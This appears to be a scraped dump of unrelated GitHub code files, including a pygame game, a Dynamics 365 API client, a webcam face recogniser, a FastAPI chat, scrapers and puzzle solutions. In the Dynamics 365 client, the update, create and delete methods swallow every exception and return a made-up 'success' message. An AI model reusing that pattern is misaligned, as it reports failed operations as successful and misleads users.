waiting:\n self.start_button.draw(self.screen)\n self.quit_button.draw(self.screen)\n pygame.display.flip()\n for event in pygame.event.get():\n # Si pulsamos la X\n if event.type == pygame.QUIT:\n self.quit()\n mouse_x, mouse_y = pygame.mouse.get_pos()\n if event.type == pygame.MOUSEMOTION:\n if self.start_button.is_over(mouse_x, mouse_y):\n self.start_button.color = LIGHTGREY\n else:\n self.start_button.color = BGCOLOR\n if self.quit_button.is_over(mouse_x, mouse_y):\n self.quit_button.color = LIGHTGREY\n else:\n self.quit_button.color = BGCOLOR\n if event.type == pygame.MOUSEBUTTONDOWN:\n if self.start_button.is_over(mouse_x, mouse_y):\n waiting = False\n if self.quit_button.is_over(mouse_x, mouse_y):\n self.quit()\n\n\n\n# Creación del juego\ngame = Game()\n\n# Bucle infinito\nwhile True:\n # Pantalla de inicio del juego\n game.main_screen()\n game.new()\n game.run()\n","repo_name":"ImAlexisSaez/exp_pygame","sub_path":"snake_v1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8657,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7289398629","text":"import requests\n\"\"\"\nd365_py\n\nA python library to make Dynamics 365 authentication easier\n\"\"\"\n\n__version__ = \"0.0.1\"\n__author__ = 'Dvyision'\n__credits__ = 'Dvyision'\n\nauth_url = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize'\ntoken_url = 'https://login.microsoftonline.com/common/oauth2/v2.0/token'\n\nclass d365:\n TENANT = ''\n CLIENT_ID = ''\n CLIENT_SECRET = ''\n SCOPES = []\n REDIRECT = ''\n ACCESS_TOKEN = ''\n\n def __init__(self,TENANT,CLIENT_ID,CLIENT_SECRET,REDIRECT):\n self.TENANT = TENANT\n self.CLIENT_ID = CLIENT_ID\n self.CLIENT_SECRET = CLIENT_SECRET\n self.REDIRECT = REDIRECT\n self.SCOPES = 'https://{}/.default offline_access'.format(self.TENANT)\n return\n\n def authorize(self):\n url = \"{}?client_id={}&response_type=code&prompt=select_account&redirect_uri={}&scope={}\".format(auth_url, self.CLIENT_ID, self.REDIRECT, self.SCOPES)\n return url\n \n def authenticate(self,CODE):\n body = {\n \"client_id\": self.CLIENT_ID,\n \"client_secret\": self.CLIENT_SECRET,\n \"grant_type\": \"authorization_code\",\n \"code\": CODE,\n \"scope\": self.SCOPES,\n \"redirect_uri\": self.REDIRECT\n }\n\n result = requests.post(token_url, data=body).json()\n\n self.ACCESS_TOKEN = result['access_token']\n\n return result\n\n def refresh(self,REFRESH_TOKEN):\n body = {\n \"client_id\": self.CLIENT_ID,\n \"client_secret\": self.CLIENT_SECRET,\n \"grant_type\": \"refresh_token\",\n \"refresh_token\": REFRESH_TOKEN,\n \"scope\": self.SCOPES,\n \"redirect_uri\": self.REDIRECT\n }\n\n result = requests.post(token_url, data=body).json()\n\n self.ACCESS_TOKEN = result['access_token']\n\n return result\n \n def list(self,TABLE,QUERYSTRING=''):\n headers = {\n \"Prefer\": \"odata.include-annotations=\\\"*\\\"\",\n \"content-type\": \"application/json; odata.metadata=full\",\n \"Authorization\": \"Bearer {}\".format(self.ACCESS_TOKEN)\n }\n response = requests.get('https://{}/api/data/v9.0/{}{}'.format(self.TENANT,TABLE,QUERYSTRING), headers=headers).json()\n return response\n\n def get(self,TABLE,PRIMARY_ID):\n headers = {\n \"Prefer\": \"odata.include-annotations=\\\"*\\\"\",\n \"content-type\": \"application/json; odata.metadata=full\",\n \"Authorization\": \"Bearer {}\".format(self.ACCESS_TOKEN)\n }\n response = requests.get('https://{}/api/data/v9.0/{}({})'.format(self.TENANT,TABLE,PRIMARY_ID), headers=headers).json()\n return response\n\n def update(self,TABLE,PRIMARY_ID,BODY={}):\n headers = {\n \"Prefer\": \"odata.include-annotations=\\\"*\\\"\",\n \"content-type\": \"application/json; odata.metadata=full\",\n \"Authorization\": \"Bearer {}\".format(self.ACCESS_TOKEN)\n }\n try:\n response = requests.patch('https://{}/api/data/v9.0/{}({})'.format(self.TENANT,TABLE,PRIMARY_ID), headers=headers,json=BODY).json()\n except:\n response = {'code':'success','message':'updated {} record {}'.format(TABLE,PRIMARY_ID),'data':BODY}\n return response\n \n def create(self,TABLE,BODY={}):\n headers = {\n \"Prefer\": \"odata.include-annotations=\\\"*\\\"\",\n \"content-type\": \"application/json; odata.metadata=full\",\n \"Authorization\": \"Bearer {}\".format(self.ACCESS_TOKEN)\n }\n try:\n response = requests.post('https://{}/api/data/v9.0/{}'.format(self.TENANT,TABLE), headers=headers,json=BODY).json()\n except:\n response = {'code':'success','message':'created {} record'.format(TABLE),'data':BODY}\n return response\n\n def delete(self,TABLE,PRIMARY_ID):\n headers = {\n \"Prefer\": \"odata.include-annotations=\\\"*\\\"\",\n \"content-type\": \"application/json; odata.metadata=full\",\n \"Authorization\": \"Bearer {}\".format(self.ACCESS_TOKEN)\n }\n try:\n response = requests.delete('https://{}/api/data/v9.0/{}({})'.format(self.TENANT,TABLE,PRIMARY_ID), headers=headers).json()\n except:\n response = {'code':'success','message':'deleted {} record {}'.format(TABLE,PRIMARY_ID)}\n return response","repo_name":"dyvision/d365-py","sub_path":"d365/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3152052071","text":"import cv2 as cv\r\nimport os\r\n\r\ndataruta=\"C:\\Agus\\Python\\Reconocimiento Facial 1\\data\" \r\n#sacamos nuestra lita\r\nlistadata=os.listdir(dataruta)\r\nentrenamientomodelo1=cv.face.EigenFaceRecognizer_create()\r\n#a nuestro entrenamiento lo ponemos para que lo lea\r\nentrenamientomodelo1.read(\"C:/Agus/Python/entrenamientoeigenfacerecognizer.xml\")\r\n#los ruidos\r\nruidos=cv.CascadeClassifier(\"C:\\Agus\\Python\\Entrenamientoopencvruidos\\opencv-master\\data\\haarcascades\\haarcascade_frontalface_default.xml\")\r\n#camara en vivo\r\n#si queremos agregar algun video tenemos que poner el link del archivo\r\n#ejemplo el de auron C:\\Agus\\Python\\Reconocimiento Facial 1/videoauron.mp4\r\ncamara = cv.VideoCapture(0)\r\n#si tenemos la ca,ara prendida\r\nwhile True:\r\n _,captura=camara.read()\r\n grises=cv.cvtColor(captura, cv.COLOR_BGR2GRAY)\r\n idcaptura=grises.copy()\r\n #detectar las caras\r\n caras=ruidos.detectMultiScale(grises,1.3,5)\r\n #enmarcar nuestra imagen\r\n for (x,y,e1,e2) in caras:\r\n #saca fragmento de nuestro rostro y almacena en carpeta, son las coordenadas de la captura\r\n rostrocapturado=idcaptura[y:y+e2,x:x+e1]\r\n #tamaño rostro, en un cuadrado y como se va a intercalar\r\n rostrocapturado=cv.resize(rostrocapturado, (160,160), interpolation=cv.INTER_CUBIC)\r\n #resultado predice esa info con lo que capture en el rostro con una prediccion si se parece un rostro\r\n resultado=entrenamientomodelo1.predict(rostrocapturado)\r\n #agregar texto de la imagen. que le forma formato resultado, el -5 significa que sube la letra\r\n #despues la escala y los colores, grosor y trabajamos con un rectangulo (cvline)\r\n cv.putText(captura, \"{}\".format(resultado), (x,y-5), 1,1.3, (0,255,0), 1, cv.LINE_AA)\r\n #la prediccion\r\n if resultado[1]<2000:\r\n cv.putText(captura, \"No encontrado\", (x,y-20), 2,1.1, (0,255,0), 1, cv.LINE_AA)\r\n cv.rectangle(captura, (x,y), (x+e1,y+e2), (255,0,0),2) \r\n else:\r\n cv.putText(captura, \"{}\".format(listadata[resultado[0]]), (x,y-20), 2,0.7, (0,255,0), 1, cv.LINE_AA)\r\n cv.rectangle(captura, (x,y), (x+e1,y+e2), (255,0,0),2) \r\n\r\n #muestra la camara con el rectangulo\r\n cv.imshow(\"Resultado\", captura)\r\n #cerrar la ventana con la s\r\n if cv.waitKey(1)==ord(\"s\"):\r\n break\r\n\r\ncamara.release()\r\ncv.destroyAllWindows()\r\n","repo_name":"AgustinRios26/Python","sub_path":"ReconocimientoFacial/capasalidarecfacial.py","file_name":"capasalidarecfacial.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9631059762","text":"#!/usr/bin/env python3\n\nprint(\"Wpisz liczby z zakresu 1 do 49\")\n\nlista=[]\nx = 0\nwhile x < 6:\n \n z = input(\"Wpisz kolejna liczbe \")\n \n if int(z) > 49:\n print(\"Liczba jest za wysoka\") \n elif int(z) < 1:\n print(\"Liczba jest za niska\") \n else: \n lista.append(z)\n print(\"Podane liczby to: \", lista)\n x += 1\nlista = [int(i) for i in lista]\n\nfor i in range(len(lista)): #petla zew\n for j in range(len(lista)-1):\n \n if lista[j] > lista[j+1]:\n temp = lista[j]\n lista[j] = lista[j+1]\n lista[j+1] = temp\n\n print(lista)\n ","repo_name":"neptun0x0/100-Python","sub_path":"sortowanie 2.py","file_name":"sortowanie 2.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27806200654","text":"from pxr import Usd, Sdf\n\nsublayer1 = Usd.Stage.CreateNew(\"sublayer1.usda\")\nprim = sublayer1.DefinePrim(\"/Asset\")\nprim.CreateAttribute(\"test1\", Sdf.ValueTypeNames.Int).Set(1)\nsublayer1.Save()\n\nsublayer2 = Usd.Stage.CreateNew(\"sublayer2.usda\")\nprim = sublayer2.DefinePrim(\"/Asset\")\nprim.CreateAttribute(\"test2\", Sdf.ValueTypeNames.Int).Set(2)\nsublayer2.Save()\n\nstage = Usd.Stage.CreateNew(\"root_sublayer.usda\")\nstage.GetRootLayer().subLayerPaths.append(\"sublayer1.usda\")\nstage.GetRootLayer().subLayerPaths.append(\"sublayer2.usda\")\nstage.Save()\n\nstage.Flatten().Export(\"flatten_sublayer.usda\")","repo_name":"kat0c0tak/cedec2021","sub_path":"base/02_sublayer.py","file_name":"02_sublayer.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"25661431438","text":"# pylint: disable=C0103\nfrom typing import List\nimport pandas as pd\nimport statsmodels.api as sm\n\n\nclass MultipleRegression:\n \"\"\"Class that stores the model.\"\"\"\n\n def __init__(\n self,\n data: pd.DataFrame,\n x_cols: List[str],\n y_col: str,\n ) -> None:\n self.data = data\n self.X = data[x_cols]\n self.y = data[y_col]\n self.model = self.fit_model()\n\n @property\n def number_of_predictors(self) -> int:\n \"\"\"Returns the number of predictor columns\"\"\"\n return len(self.X.columns)\n\n def fit_model(self) -> str:\n \"\"\"Fits a multiple linear regression model to the data.\"\"\"\n self.X = sm.add_constant(self.X)\n estimate = sm.OLS(self.y, self.X).fit()\n rsquared = round(estimate.rsquared, 2)\n adj_rsquared = round(estimate.rsquared_adj, 2)\n print(f\"Rsquared: {rsquared}\\nAdjusted Rsquared: {adj_rsquared}\")\n print(\"\\n\")\n print(estimate.params)\n print(\"\\n\")\n print(estimate.pvalues)\n print(\"\\n\\n\")\n return estimate\n","repo_name":"department-of-general-services/serve_pm_data_to_power_bi","sub_path":"src/pm_stats/analysis/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38853027288","text":"from fastapi import APIRouter, WebSocket, WebSocketDisconnect\nfrom fastapi.responses import FileResponse\n\nrouter = APIRouter()\n\n\nclass ConnectionManager:\n def __init__(self):\n self.active_connections: set[WebSocket] = set()\n\n async def connect(self, websocket: WebSocket):\n await websocket.accept()\n self.active_connections.add(websocket)\n\n def disconnect(self, websocket: WebSocket):\n self.active_connections.remove(websocket)\n\n async def send_personal_message(self, message: dict, websocket: WebSocket):\n await websocket.send_json(message)\n\n async def broadcast(self, message: dict):\n for connection in self.active_connections:\n await connection.send_json(message)\n\n\nmanager = ConnectionManager()\n\n@router.get('/')\nasync def main():\n return FileResponse('templates/main.html')\n\n\n@router.get('/registration')\nasync def registration():\n return FileResponse('templates/registration.html')\n\n\n@router.get('/chat')\nasync def chat():\n return FileResponse('templates/chat.html')\n\n\n@router.websocket('/ws')\nasync def websocket_endpoint(websocket: WebSocket):\n await manager.connect(websocket)\n try:\n while True:\n data = await websocket.receive_json()\n await manager.broadcast(data)\n except WebSocketDisconnect:\n last = websocket\n manager.disconnect(websocket)\n await manager.broadcast({\"name\": last.client.host, \"message\": \"Вышел из чата :(\"})\n","repo_name":"FlakiNolp/test_ws","sub_path":"cabinet/chat/routers/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10026449352","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n\n\n__HTMLCOPY__=\"\"\"\n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n\n This script retrive html code\n from a site to copy all data into\n file_html.txt\n Easy to get that with *http.server*\n\n$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n\"\"\"\n\n\nimport os\nimport http.server\nfrom http.server import BaseHTTPRequestHandler\nfrom http.server import HTTPServer\nimport requests\nimport requests_raw\nimport binascii\n\n\nprint(__HTMLCOPY__)\n\nport = 6059\nhost = \"127.0.0.1\"\nrun_fire = host +\":\"+ str(port)\nos.system(\"xfce4-terminal -e 'bash -c \\\"firefox {}; exec bash\\\"'\".format(run_fire))\n\nclass ServerHtml(BaseHTTPRequestHandler):\n def do_GET(self):\n payload = {'key1': 'value1', 'key2': 'value2'}\n ask_addr = input(\"Enter address plz : https://www.\")\n url = \"https://www.\" + ask_addr\n rg = requests.get(url, data=payload)\n print(\"[+] Status :\", rg.status_code)\n print(\"\\n\")\n print(\"[+] Requests URL : \", rg.url)\n print(\"\\n\")\n rg.content\n print(\"[+] Requests content : \")\n print(type(rg.content))\n print(\"[+] Requests content [0:600] : \")\n print(rg.content[0:600])\n print(\"\\n\")\n self.wfile.write(bytes(\"<p> --- Content : </p>\", \"utf-8\"))\n self.wfile.write(bytes(rg.content))\n with open(\"file_html.txt\", 'w+b') as fileh:\n fileh.write(bytes(rg.content))\n\nif __name__ == \"__main__\":\n webServer = HTTPServer((host, port), ServerHtml)\n print(\"Server started http://%s:%s\" % (host, port))\n \n try:\n webServer.serve_forever()\n except KeyboardInterrupt:\n pass\n\n webServer.server_close()\n print(\"Server stopped.\")\n","repo_name":"TLRKiliann/phpython-server","sub_path":"ana_request/anahtml.py","file_name":"anahtml.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40940117717","text":"\"\"\"\n Web Cache\n\"\"\"\n\n\nimport pickle\nimport random\nimport sys\n\n\nclass Site:\n def __init__(self, sitename, popularity, content, latency):\n \"\"\"\n Create a site instance\n \"\"\"\n self.sitename = sitename\n self.content = content\n self.latency = latency\n self.popularity = popularity\n\nclass Cache:\n def __init__(self, cachefile=None):\n \"\"\"\n Initialize the internal cache dictionary\n \"\"\"\n self.cache = dict()\n self.sites = []\n if cachefile:\n try:\n with open(cachefile, 'rb') as cf:\n saved_sites = pickle.load(cf)\n for sitename, popularity, latency, content in saved_sites:\n if content is None: continue\n self.cache_site(sitename, popularity, content, latency)\n except Exception as e:\n print('Failed to open cachefile \"{}\": {}'.format(cachefile, e), file=sys.stderr)\n\n def get_site(self, sitename):\n \"\"\"\n If site is cached return the cached sitem otherwise return None\n \"\"\"\n return self.cache.get(sitename)\n\n def random_site(self):\n total = sum(site.popularity for site in self.sites)\n r = random.randint(0, total-1)\n cumsum = 0\n for site in self.sites:\n cumsum += site.popularity\n if r < cumsum:\n return site\n\n\n def cache_site(self, sitename, popularity, content, latency):\n \"\"\"\n Cache a site in the internal cache dictionary\n \"\"\"\n site = Site(sitename, popularity, content, latency)\n self.cache[sitename] = site\n self.sites.append(site)\n return site\n","repo_name":"WINS-SARATOGA/LiveSimulation","sub_path":"src/e2e_sim/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42411211400","text":"import csv\nimport datetime\nimport json\n\nimport db\n\ndef format_row(job_info: dict):\n row = [job_info['LOCATION'], job_info['JOB'], job_info['MONTH'], job_info['YEAR']]\n job_dict = json.loads(job_info['JOB_DETAILS'])\n row.append(job_dict['competition_score'])\n row.append(job_dict['jobs'])\n row.append(job_dict['job_seekers'])\n row.append(job_dict['average_salary'])\n row.append(job_dict['employers'])\n row.append(job_dict['resumes'])\n row.append(job_dict['resumes_added'])\n\n experiences = job_dict['reported_years_of_experience']\n row.append('N/A' if '0 - 2' not in experiences else experiences['0 - 2'])\n row.append('N/A' if '3 - 5' not in experiences else experiences['3 - 5'])\n row.append('N/A' if '6 - 10' not in experiences else experiences['6 - 10'])\n row.append('N/A' if '11 - 20' not in experiences else experiences['11 - 20'])\n row.append('N/A' if '21+' not in experiences else experiences['21+'])\n \n \n educations = job_dict['reported_educational_level']\n row.append('N/A' if 'High School' not in educations else educations['High School'])\n row.append('N/A' if 'Associate' not in educations else educations['Associate'])\n row.append('N/A' if 'Bachelor' not in educations else educations['Bachelor'])\n row.append('N/A' if 'Master' not in educations else educations['Master'])\n row.append('N/A' if 'Doctorate' not in educations else educations['Doctorate'])\n\n return row\n\ndef export_all_jobs_to_csv():\n now = datetime.datetime.now()\n date_time = now.strftime(\"%Y-%m-%d_%H-%M-%S\")\n filename = f\"jobs_{date_time}.csv\"\n jobs = db.get_all_job_datas()\n with open(filename, 'w', encoding='utf-8', newline='') as csv_file:\n writer = csv.writer(csv_file)\n headers = ['location', 'job_title', 'month', 'year', 'competition_score', 'jobs', 'job_seekers', 'average_salary', 'employers', 'resumes', 'resumes_added', 'experience_lessthan2', 'experience_3to5', 'experience_6to10', 'experience_11to20', 'experience_21plus', 'education_HS', 'education_associate', 'education_bachelors', 'education_masters', 'education_doctorate']\n writer.writerow(headers)\n for job in jobs:\n writer.writerow(format_row(job))\n\n\ndef export_conditions_jobs_to_csv(job='', location='', month='', year=''):\n now = datetime.datetime.now()\n date_time = now.strftime(\"%Y-%m-%d_%H-%M-%S\")\n filename = f\"jobs_{date_time}.csv\"\n jobs = db.get_jobs_datas_conditions(job=job, location=location, month=month, year=year)\n if len(jobs) == 0:\n return None\n with open(filename, 'w', encoding='utf-8', newline='') as csv_file:\n writer = csv.writer(csv_file)\n headers = ['location', 'job_title', 'month', 'year', 'competition_score', 'jobs', 'job_seekers', 'average_salary', 'employers', 'resumes', 'resumes_added', 'experience_lessthan2', 'experience_3to5', 'experience_6to10', 'experience_11to20', 'experience_21plus', 'education_HS', 'education_associate', 'education_bachelors', 'education_masters', 'education_doctorate']\n writer.writerow(headers)\n for job in jobs:\n writer.writerow(format_row(job))\n return filename\n \n \n\n","repo_name":"zvz23/indeedscraper","sub_path":"export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8809982999","text":"from typing import List, Dict\n\n\ndef format_meas_map(meas_map: List[List[int]]) -> Dict[int, List[int]]:\n \"\"\"\n Return a mapping from qubit label to measurement group given the nested list meas_map returned\n by a backend configuration. (Qubits can not always be measured independently.) Sorts the\n measurement group for consistency.\n\n Args:\n meas_map: Groups of qubits that get measured together, for example: [[0, 1], [2, 3, 4]]\n Returns:\n Measure map in map format\n \"\"\"\n qubit_mapping = {}\n for sublist in meas_map:\n sublist.sort()\n for q in sublist:\n qubit_mapping[q] = sublist\n return qubit_mapping\n","repo_name":"OscarJHernandez/qc_portfolio_optimization","sub_path":"venv/lib/python3.8/site-packages/qiskit/pulse/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"32981069387","text":"# Given an input string (s) and a pattern (p), implement wildcard pattern matching with support for '?' and '*'.\n#\n# '?' Matches any single character.\n# '*' Matches any sequence of characters (including the empty sequence).\n# The matching should cover the entire input string (not partial).\n#\n# Note:\n#\n# s could be empty and contains only lowercase letters a-z.\n# p could be empty and contains only lowercase letters a-z, and characters like ? or *.\n# Example 1:\n#\n# Input:\n# s = \"aa\"\n# p = \"a\"\n# Output: false\n# Explanation: \"a\" does not match the entire string \"aa\".\n# Example 2:\n#\n# Input:\n# s = \"aa\"\n# p = \"*\"\n# Output: true\n# Explanation: '*' matches any sequence.\n# Example 3:\n#\n# Input:\n# s = \"cb\"\n# p = \"?a\"\n# Output: false\n# Explanation: '?' matches 'c', but the second letter is 'a', which does not match 'b'.\n# Example 4:\n#\n# Input:\n# s = \"adceb\"\n# p = \"*a*b\"\n# Output: true\n# Explanation: The first '*' matches the empty sequence, while the second '*' matches the substring \"dce\".\n# Example 5:\n#\n# Input:\n# s = \"acdcb\"\n# p = \"a*c?b\"\n# Output: false\n\nclass Solution(object):\n def isMatch(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: bool\n \"\"\"\n # dfs tle\n # return self.helper(s, p)\n #\n # def helper(self, s, p):\n # if s == '' and p == '':\n # return True\n # elif p != '' and p[0] == '*':\n # res = False\n # for i in range(len(s) + 1):\n # res = res or self.helper(s[i:], p[1:])\n # return res\n # elif s == '' or p == '':\n # return False\n # elif p[0] == '?' or s[0] == p[0]:\n # return self.helper(s[1:], p[1:])\n # else:\n # return False\n # dp solution\n dp = [[False for _ in range(len(s) + 1)] for _ in range(len(p) + 1)]\n dp[0][0] = True # p and s are empty\n for i in range(1, len(p) + 1):\n dp[i][0] = dp[i - 1][0] and p[i - 1] == '*' # deal with p start with '*'\n for i in range(1, len(p) + 1):\n for j in range(1, len(s) + 1):\n if s[j - 1] == p[i - 1] or p[i - 1] == '?':\n dp[i][j] = dp[i - 1][j - 1]\n elif p[i - 1] == '*':\n dp[i][j] = dp[i][j - 1] or dp[i - 1][j]\n else:\n dp[i][j] = False\n return dp[-1][-1]\n # t = [[False] * (len(s) + 1) for _ in range(len(p) + 1)]\n # t[0][0] = True\n # for i in range(1, len(p) + 1):\n # t[i][0] = t[i - 1][0] and p[i - 1] == '*'\n # for i in range(1, len(p) + 1):\n # for j in range(1, len(s) + 1):\n # if p[i - 1] != '*':\n # t[i][j] = (p[i - 1] == s[j - 1] or p[i - 1] == '?') and t[i - 1][j - 1]\n # else:\n # t[i][j] = t[i][j - 1] or t[i - 1][j]\n # return t\n\n\ns = Solution()\nprint(s.isMatch('acdbe', '*'))\n","repo_name":"yshshadow/Leetcode","sub_path":"1-50/44.py","file_name":"44.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23571656581","text":"import asyncio\r\nfrom itertools import starmap\r\n\r\n\r\nclass Stall:\r\n def __init__(self, S, LS, RS):\r\n self.S = S\r\n self.occupied = False\r\n self.LS = LS\r\n self.RS = RS\r\n\r\n\r\nasync def update_to_right(stalls, S):\r\n for i, stall in enumerate(stalls[S + 1:]):\r\n stall.LS = i\r\n if stall.occupied:\r\n break\r\n\r\n\r\nasync def update_to_left(stalls, S):\r\n for i, stall in enumerate(reversed(stalls[:S])):\r\n stall.RS = i\r\n if stall.occupied:\r\n break\r\n\r\n\r\nasync def search(stalls, function):\r\n for stall in stalls:\r\n stall.value = function(stall.LS, stall.RS)\r\n maximum = max(stall.value for stall in stalls)\r\n return list(filter(lambda stall: stall.value == maximum, stalls))\r\n\r\n\r\nasync def minmax(stalls):\r\n return await search(stalls, min)\r\n\r\n\r\nasync def maxmax(stalls):\r\n return await search(stalls, max)\r\n\r\n\r\nasync def choose_stall(stalls):\r\n filtered_stalls = list(filter(lambda stall: not stall.occupied, stalls))\r\n minSs = await minmax(filtered_stalls)\r\n if len(minSs) != 1:\r\n maxSs = await maxmax(minSs)\r\n return maxSs[0]\r\n return minSs[0]\r\n\r\n\r\nasync def result(stall):\r\n return max(stall.LS, stall.RS), min(stall.LS, stall.RS)\r\n\r\n\r\nasync def solve_stalls(i, stalls, K):\r\n for _ in range(K - 1):\r\n stall = await choose_stall(stalls)\r\n stall.occupied = True\r\n await update_to_left(stalls, stall.S)\r\n await update_to_right(stalls, stall.S)\r\n\r\n stall = await choose_stall(stalls)\r\n stall.occupied = True\r\n await update_to_left(stalls, stall.S)\r\n await update_to_right(stalls, stall.S)\r\n stall_result = await result(stall)\r\n print(f'Case #{i}: {stall_result[0]} {stall_result[1]}')\r\n\r\n\r\nasync def main():\r\n T = int(input())\r\n\r\n for i in range(1, T + 1):\r\n N, K = map(int, input().split())\r\n if N == K:\r\n print(f'Case #{i}: 0 0')\r\n else:\r\n stalls = [Stall(i, i, N - i - 1) for i in range(N)]\r\n await solve_stalls(i, stalls, K)\r\n\r\n\r\nif __name__ == '__main__':\r\n loop = asyncio.get_event_loop()\r\n loop.run_until_complete(main())\r\n loop.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/2881.py","file_name":"2881.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7661804785","text":"#!/usr/bin/python3\n\"\"\" in a letter and sends a POST request to http://0.0.0.0:5000/search_user\nwith the letter as a parameter.\n\"\"\"\n\nimport requests\nfrom sys import argv\n\nif __name__ == '__main__':\n if len(argv) == 2:\n q = argv[1]\n else:\n q = \"\"\n req = requests.post('http://0.0.0.0:5000/search_user', data={'q': q})\n try:\n if not req.json():\n print(\"No result\")\n else:\n print(\"[{}] {}\".format(req.json().get(\"id\"), req.json()\n .get(\"name\")))\n except ValueError:\n print(\"Not a valid JSON\")\n","repo_name":"tahaelleuch/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23544829211","text":"#!/usr/bin/python\nfrom __future__ import print_function\nimport sys\n\ndef flipPancakes(chi,k) :\n res = 0\n s = list(ch)\n for i in range(0,len(s)):\n if s[i] == \"-\" and i+int(k) <= len(s):\n res = res + 1 \n for j in range(0,int(k)):\n if s[i+j] == \"+\":\n s[i+j] = \"-\"\n else:\n s[i+j] = \"+\"\n if '-' in s:\n res = \"IMPOSSIBLE\"\n return res\n\n\nfile = open(sys.argv[1],'r') \ntotalCase = int(file.readline())\ncaseNumber = 1\n\nwhile caseNumber <= totalCase:\n print ('Case #' + str(caseNumber) + ': ',end='')\n toAnalyze = file.readline().split()\n ch = toAnalyze[0]\n K = toAnalyze[1]\n res = flipPancakes(ch,K)\n print (res)\n caseNumber += 1\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2902.py","file_name":"2902.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28192673022","text":"r1= dict(name=\"高小一\",age=18,salary=30000,city=\"北京\")\nr2= dict(name=\"高小二\",age=19,salary=20000,city=\"上海\")\nr3= dict(name=\"高小三\",age=20,salary=10000,city=\"深圳\")\ntb = [r1,r2,r3]\nprint(tb)\nfor x in tb:\n if x.get(\"salary\")>15000:\n print(x)\n\nimport time\n\nstart = time.time()\nfor i in range(1000):\n result = []\n for m in range(10000):\n result.append(i*1000+m*100)\n\nend = time.time()\nprint(\"耗时:{0}\".format((end-start)))\n\nstart2 = time.time()\nfor i in range(1000):\n result = []\n c = i*1000\n for m in range(10000):\n result.append(c+m*100)\n\nend2 = time.time()\nprint(\"耗时:{0}\".format((end2-start2)))\n","repo_name":"daibenxiang/selenium","sub_path":"homework/my001.py","file_name":"my001.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8683265165","text":"def my_func():\n pass\n\ndef calculate_total_cost(list_of_products):\n \n \"\"\"\n Given a list of products that you can purchase, this function will calculate the total price of the \n items that is selected. It does so by initially starting with a total at zero and then working through \n the products in the list and adding the prices from each product together to return a total.\n \n Parameters\n ----------\n list_of_products : list \n \n Return\n ----------\n total : int\n \n \"\"\"\n total = 0 \n for product in list_of_products:\n total += product.price\n \n return total\n\ndef check_quantity(list_of_products):\n \n \n \"\"\"\n Parameters\n ----------\n This function takes in the quantity of a class to determine how many are in stock in the store.\n If the quantity of the product is less than one, then the code will not run.\n \n list_of_products : list\n \n Return\n ----------\n return: None or pass\n \"\"\"\n for product in list_of_products:\n\n if product.quantity < 1:\n return None\n else:\n pass\n\n\"\"\"\nNow that there is a store created I am going to set a chatbot to interact with the store and the customer.\nTo do so, I will take functions from the chatbot done in Assignment 3.\n\"\"\"\n\ndef is_question(input_string):\n \"\"\"\n Given an input string the following function will see if the string is a question or not by looping through the string to\n see if there is a question mark in the string\n \n Parameters\n ----------\n \n input_string : string\n \n Return\n ---------\n output = boolean\n \"\"\"\n if '?' in input_string:\n output = True\n else:\n output = False\n \n return output\n\ndef remove_punctuation(input_string):\n \"\"\"\n Next it is important to create a function that will get rid of any punctuation that is given to my chatbot.\n This function takes in any string and removes any punctuation that it recieves.\n \n Parameters\n ----------\n input_string : string\n \n Return\n ----------\n out_string : string\n \"\"\"\n out_string = ''\n for char in input_string:\n if char not in string.punctuation:\n out_string += char\n \n return out_string\n\n# Now it is time to make some text of our 